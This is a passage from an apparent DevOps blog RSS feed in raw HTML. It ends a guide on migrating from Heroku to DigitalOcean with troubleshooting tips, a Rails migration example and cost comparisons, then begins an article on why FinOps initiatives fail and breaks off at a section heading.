          data-heading-id="h2-common-gotchas-and-troubleshooting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-connection-pool-exhaustion" class="group relative scroll-mt-24">
        <a href="#h3-1-connection-pool-exhaustion" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Connection Pool Exhaustion
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-connection-pool-exhaustion"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Problem</strong>: &quot;remaining connection slots are reserved&quot; errors.</p>
<p><strong>Solution</strong>: Use DigitalOcean&#39;s connection pooling:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Create pool with transaction mode</span>
doctl databases pool create production-postgres myapp-pool \
  --db myapp \
  --size 25 \
  --mode transaction

<span class="hljs-comment"># Use pooled connection string (port 25061, not 25060)</span>
</code></pre><h3 id="h3-2-ssltls-certificate-issues" class="group relative scroll-mt-24">
        <a href="#h3-2-ssltls-certificate-issues" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. SSL/TLS Certificate Issues
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-ssltls-certificate-issues"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Problem</strong>: Database connection fails with SSL errors.</p>
<p><strong>Solution</strong>: Download CA certificate:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Download DigitalOcean CA cert</span>
curl -O https://raw.githubusercontent.com/digitalocean/pg_ssl_cert/main/ca-certificate.crt

<span class="hljs-comment"># Use in connection string</span>
postgresql://user:pass@host:25060/db?sslmode=require&amp;sslrootcert=ca-certificate.crt

<span class="hljs-comment"># Or for Node.js</span>
const pool = new pg.Pool({
  connectionString: process.env.DATABASE_URL,
  ssl: {
    rejectUnauthorized: <span class="hljs-literal">true</span>,
    ca: fs.readFileSync(<span class="hljs-string">&#x27;./ca-certificate.crt&#x27;</span>).toString(),
  },
});
</code></pre><h3 id="h3-3-environment-variable-naming" class="group relative scroll-mt-24">
        <a href="#h3-3-environment-variable-naming" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Environment Variable Naming
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-environment-variable-naming"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Problem</strong>: Heroku uses <code>PORT</code>, DigitalOcean uses <code>APP_PORT</code>.</p>
<p><strong>Solution</strong>: Adjust app startup:</p>
<pre><code class="hljs language-javascript"><span class="hljs-comment">// Support both</span>
<span class="hljs-keyword">const</span> port = process.<span class="hljs-property">env</span>.<span class="hljs-property">PORT</span> || process.<span class="hljs-property">env</span>.<span class="hljs-property">APP_PORT</span> || <span class="hljs-number">8080</span>;
app.<span class="hljs-title function_">listen</span>(port);
</code></pre><p>Or set <code>PORT</code> explicitly in App Platform env vars.</p>
<h3 id="h3-4-build-vs-runtime-commands" class="group relative scroll-mt-24">
        <a href="#h3-4-build-vs-runtime-commands" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Build vs Runtime Commands
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-build-vs-runtime-commands"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Problem</strong>: Database migrations run during build, but DB isn&#39;t accessible yet.</p>
<p><strong>Solution</strong>: Use run commands, not build commands:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># WRONG</span>
<span class="hljs-attr">build_command:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">build</span> <span class="hljs-string">&amp;&amp;</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">migrate</span>

<span class="hljs-comment"># RIGHT</span>
<span class="hljs-attr">build_command:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">build</span>
<span class="hljs-attr">run_command:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">migrate</span> <span class="hljs-string">&amp;&amp;</span> <span class="hljs-string">npm</span> <span class="hljs-string">start</span>
</code></pre><h3 id="h3-5-regional-data-transfer-costs" class="group relative scroll-mt-24">
        <a href="#h3-5-regional-data-transfer-costs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Regional Data Transfer Costs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-regional-data-transfer-costs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Problem</strong>: High data transfer fees if database and app are in different regions.</p>
<p><strong>Solution</strong>: Keep everything in same region + VPC:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Ensure all resources use same region</span>
--region nyc3  <span class="hljs-comment"># For all components</span>
</code></pre><p>Data transfer within same region + VPC is <strong>free</strong>.</p>
<hr>
<h2 id="h2-real-world-migration-example" class="group relative scroll-mt-24">
        <a href="#h2-real-world-migration-example" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-World Migration Example
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-real-world-migration-example"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-rails-api-react-frontend-sidekiq" class="group relative scroll-mt-24">
        <a href="#h3-rails-api-react-frontend-sidekiq" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Rails API + React Frontend + Sidekiq
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rails-api-react-frontend-sidekiq"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Heroku Setup</strong>:</p>
<ul>
<li>2× Standard-2X dynos (web)</li>
<li>2× Standard-2X dynos (worker)</li>
<li>Standard-4 Postgres</li>
<li>Premium-5 Redis</li>
<li><strong>Total: $850/month</strong></li>
</ul>
<p><strong>DigitalOcean Migration</strong>:</p>
<ol>
<li><strong>App Platform</strong> (2 services):</li>
</ol>
<pre><code class="hljs language-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">myapp-production</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">web</span>
    <span class="hljs-attr">instance_count:</span> <span class="hljs-number">2</span>
    <span class="hljs-attr">instance_size_slug:</span> <span class="hljs-string">professional-xs</span>
    <span class="hljs-attr">github:</span>
      <span class="hljs-attr">repo:</span> <span class="hljs-string">myorg/myapp</span>
      <span class="hljs-attr">branch:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">build_command:</span> <span class="hljs-string">bundle</span> <span class="hljs-string">exec</span> <span class="hljs-string">rake</span> <span class="hljs-string">assets:precompile</span>
    <span class="hljs-attr">run_command:</span> <span class="hljs-string">bundle</span> <span class="hljs-string">exec</span> <span class="hljs-string">puma</span> <span class="hljs-string">-C</span> <span class="hljs-string">config/puma.rb</span>
    
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">worker</span>
    <span class="hljs-attr">instance_count:</span> <span class="hljs-number">2</span>
    <span class="hljs-attr">instance_size_slug:</span> <span class="hljs-string">professional-xs</span>
    <span class="hljs-attr">github:</span>
      <span class="hljs-attr">repo:</span> <span class="hljs-string">myorg/myapp</span>
      <span class="hljs-attr">branch:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">run_command:</span> <span class="hljs-string">bundle</span> <span class="hljs-string">exec</span> <span class="hljs-string">sidekiq</span>
</code></pre><ol start="2">
<li><strong>Managed Database</strong>:</li>
</ol>
<pre><code class="hljs language-bash">doctl databases create prod-postgres \
  --engine pg --version 15 --size db-s-4vcpu-8gb --region nyc3
</code></pre><ol start="3">
<li><strong>Managed Redis</strong>:</li>
</ol>
<pre><code class="hljs language-bash">doctl databases create prod-redis \
  --engine redis --version 7 --size db-s-2vcpu-2gb --region nyc3
</code></pre><ol start="4">
<li><strong>Spaces for ActiveStorage</strong>:</li>
</ol>
<pre><code class="hljs language-ruby"><span class="hljs-comment"># config/storage.yml</span>
<span class="hljs-symbol">digitalocean:</span>
  <span class="hljs-symbol">service:</span> <span class="hljs-variable constant_">S3</span>
  <span class="hljs-symbol">endpoint:</span> <span class="hljs-symbol">https:</span>/<span class="hljs-regexp">/nyc3.digitaloceanspaces.com
  access_key_id: &lt;%= ENV[&#x27;SPACES_KEY&#x27;] %&gt;
  secret_access_key: &lt;%= ENV[&#x27;SPACES_SECRET&#x27;] %&gt;
  region: us-east-1
  bucket: myapp-production

# config/environments</span><span class="hljs-regexp">/production.rb
config.active_storage.service = :digitalocean</span>
</code></pre><p><strong>Total DigitalOcean Cost</strong>: $192/month<br><strong>Savings</strong>: 77% ($658/month = $7,896/year)</p>
<p><strong>Migration Timeline</strong>:</p>
<ul>
<li><strong>Week 1</strong>: Set up infrastructure, test deployments</li>
<li><strong>Week 2</strong>: Configure database replication, test with prod data</li>
<li><strong>Week 3</strong>: Cutover database, switch DNS, monitor</li>
<li><strong>Week 4</strong>: Migrate Sidekiq jobs, decommission Heroku</li>
</ul>
<p><strong>Downtime</strong>: 15 minutes (DNS propagation during cutover)</p>
<hr>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Cost Savings are Real</strong>: 60-88% reduction in infrastructure costs for equivalent performance</li>
<li><strong>Migration is Incremental</strong>: Parallel run + cutover minimizes risk</li>
<li><strong>Use Managed Services</strong>: Don&#39;t self-manage databases just because you can</li>
<li><strong>Connection Pooling is Critical</strong>: Avoids database scaling issues</li>
<li><strong>Regional Consistency Matters</strong>: Keep resources in same region + VPC for free data transfer</li>
<li><strong>Terraform from Day 1</strong>: Infrastructure as code prevents configuration drift</li>
<li><strong>Test with Production Data</strong>: Run shadow environment before cutover</li>
</ol>
<hr>
<h2 id="h2-the-bottom-line" class="group relative scroll-mt-24">
        <a href="#h2-the-bottom-line" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bottom Line
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bottom-line"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Migrating from Heroku to DigitalOcean isn&#39;t about abandoning managed services — it&#39;s about <strong>choosing better-priced managed services</strong>. With App Platform, you keep the developer experience (git push deployments, managed databases, zero-config SSL) while cutting costs by 60-80%. With Coolify self-hosted, you can achieve 90%+ savings for multi-app setups on a single $24/month Droplet.</p>
<p>The migration itself takes 3-4 weeks with minimal downtime when done incrementally. For most teams spending &gt;$200/month on Heroku, the savings justify the effort within 2-3 months.</p>
<p><strong>When to migrate</strong>:</p>
<ul>
<li>Heroku bill &gt;$200/month</li>
<li>You have 1+ engineer who can dedicate 20-30 hours over 3-4 weeks (App Platform) or 10-15 hours (Coolify)</li>
<li>Your app uses standard patterns (PostgreSQL, Redis, S3)</li>
<li>You want cost predictability</li>
</ul>
<p><strong>Choose App Platform if</strong>: You want managed services, auto-scaling, and minimal ops work.</p>
<p><strong>Choose Coolify if</strong>: You&#39;re comfortable with server management and want maximum savings (90%+).</p>
<p><strong>When to stay on Heroku</strong>:</p>
<ul>
<li>Bill &lt;$100/month (migration effort not worth it)</li>
<li>You need Heroku-specific add-ons with no alternatives</li>
<li>Team has zero DevOps experience and no time to learn</li>
<li>You&#39;re pre-product-market-fit and optimizing for speed over cost</li>
</ul>
<p><strong>Get started</strong>: <a href="https://m.do.co/c/2a9bba940f39">Sign up for DigitalOcean</a> and receive $200 in credits to test your migration risk-free.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Why Most FinOps Initiatives Fail (and What Actually Works)]]></title>
      <link>https://devops-daily.com/posts/why-finops-initiatives-fail</link>
      <description><![CDATA[Your FinOps team is probably a reporting bottleneck, not a cost optimization engine. The fix: stop centralizing cost visibility and start decentralizing cost accountability to the teams that own the services.]]></description>
      <pubDate>Sat, 07 Mar 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/why-finops-initiatives-fail</guid>
      <category><![CDATA[Cloud]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[finops]]></category><category><![CDATA[cloud-cost]]></category><category><![CDATA[engineering-culture]]></category><category><![CDATA[cost-optimization]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Most FinOps initiatives fail because they centralize cost visibility in a team that produces reports nobody acts on. The FinOps team sees the waste but can&#39;t fix it. Engineering teams can fix it but don&#39;t see the waste. The fix isn&#39;t better dashboards. It&#39;s giving service owners direct cost accountability, self-service tools, and guardrails instead of approval gates.</p>
<hr>
<h2 id="h2-the-pattern-nobody-talks-about" class="group relative scroll-mt-24">
        <a href="#h2-the-pattern-nobody-talks-about" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Pattern Nobody Talks About
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-pattern-nobody-talks-about"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here&#39;s how FinOps plays out at most growing companies:</p>
<p><strong>Month 1</strong>: Leadership notices the AWS bill hit $400K/month and is growing 15% per quarter.</p>
<p><strong>Month 2</strong>: Someone gets hired (or reassigned) to &quot;do FinOps.&quot;</p>
<p><strong>Month 3</strong>: That person builds dashboards and finds the usual suspects - oversized instances, zombie EBS volumes, staging environments that cost 60% of production.</p>
<p><strong>Month 4</strong>: Findings get presented to engineering leadership.</p>
<p><strong>Month 5</strong>: Engineering teams say they&#39;ll get to it after the current sprint.</p>
<p><strong>Month 9</strong>: The FinOps lead is frustrated. &quot;We know where the waste is, but nobody fixes it.&quot;</p>
<p><strong>Month 12</strong>: AWS bill is $520K/month. The initiative &quot;didn&#39;t work.&quot;</p>
<p>The problem wasn&#39;t the analysis. The problem was that FinOps got positioned as a <strong>reporting function</strong> instead of an <strong>enablement function</strong>. They found problems but had no authority to fix them. Engineering had the authority but no reason to care.</p>
<hr>
<h2 id="h2-two-groups-neither-with-the-full-picture" class="group relative scroll-mt-24">
        <a href="#h2-two-groups-neither-with-the-full-picture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Two Groups, Neither With the Full Picture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-two-groups-neither-with-the-full-picture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the core failure mode.</p>
<p>Your FinOps team knows which services cost the most, which resources sit idle, and how spend trends over time. They don&#39;t know why a service was built that way, whether high utilization means success or waste, or which experiments got abandoned three months ago.</p>
<p>Your engineering teams know exactly why things are architected the way they are. They know which services are critical and which are leftover prototypes. But they have no idea what their services actually cost or how their infrastructure decisions compare to other teams.</p>
<p>Neither group has the full picture. FinOps can identify waste but can&#39;t act on it. Engineering can act but doesn&#39;t see the waste. That&#39;s a coordination failure, not an execution problem.</p>
<h2 id="h2-the-incentive-mismatch" class="group relative scroll-mt-24">
        <a href="#h2-the-incentive-mismatch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Incentive Mismatch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-incentive-mismatch"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Engineering teams get measured on feature velocity, system reliability, and product metrics. Cost isn&#39;t in their KPIs. When FinOps says &quot;rightsize these instances,&quot; the response is always &quot;we&#39;ll prioritize it after Q3 roadmap.&quot; Every quarter.</p>
<p>FinOps recommendations are permanently deprioritized because nobody&#39;s performance review depends on cloud cost.</p>
<h2 id="h2-the-approval-trap" class="group relative scroll-mt-24">
        <a href="#h2-the-approval-trap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Approval Trap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-approval-trap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Some companies respond by making FinOps an approval gate. Every infrastructure change needs a cost review. This backfires spectacularly:</p>
<ul>
<li>Simple provisioning takes days instead of hours</li>
<li>Engineers resent the &quot;bureaucracy&quot;</li>
<li>People over-provision upfront to avoid future review cycles</li>
<li>Shadow IT appears in personal accounts</li>
</ul>
<p>The process designed to prevent waste ends up creating more of it.</p>
<hr>
<h2 id="h2-what-actually-works-give-teams-the-bill" class="group relative scroll-mt-24">
        <a href="#h2-what-actually-works-give-teams-the-bill" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Actually Works: Give Teams the Bill
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-actually-works-give-teams-the-bill"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The fix is simple in principle: make the people who build services responsible for what those services cost.</p>
<h3 id="h3-make-cost-visible-at-the-service-level" class="group relative scroll-mt-24">
        <a href="#h3-make-cost-visible-at-the-service-level" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Make cost visible at the service level
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-make-cost-visible-at-the-service-level"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Tag every resource with a service name and owning team. Build a dashboard that shows cost per service, per team, with trends. This is table stakes - teams can&#39;t optimize what they can&#39;t see.</p>
<p>You don&#39;t need fancy tooling to start. AWS Cost Allocation Tags plus Cost Explorer gets you 80% of the way there. If you want more, look at Vantage, CloudHealth, or Kubecost.</p>
<h3 id="h3-assign-ownership-not-just-awareness" class="group relative scroll-mt-24">
        <a href="#h3-assign-ownership-not-just-awareness" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Assign ownership, not just awareness
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-assign-ownership-not-just-awareness"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There&#39;s a difference between &quot;here&#39;s a report about your costs&quot; and &quot;you own this number.&quot; Each service needs a clear owning team. That team&#39;s quarterly goals should include a cost target alongside their feature and reliability targets.</p>
<p>An example goal: &quot;Keep recommendation-engine cost under $3,500/month while handling 20M requests/day.&quot;</p>
<p>When teams own both the service and its cost, they make different trade-offs. They stop leaving staging databases running over weekends. They start caring about instance sizing.</p>
<h3 id="h3-replace-approval-gates-with-automated-guardrails" class="group relative scroll-mt-24">
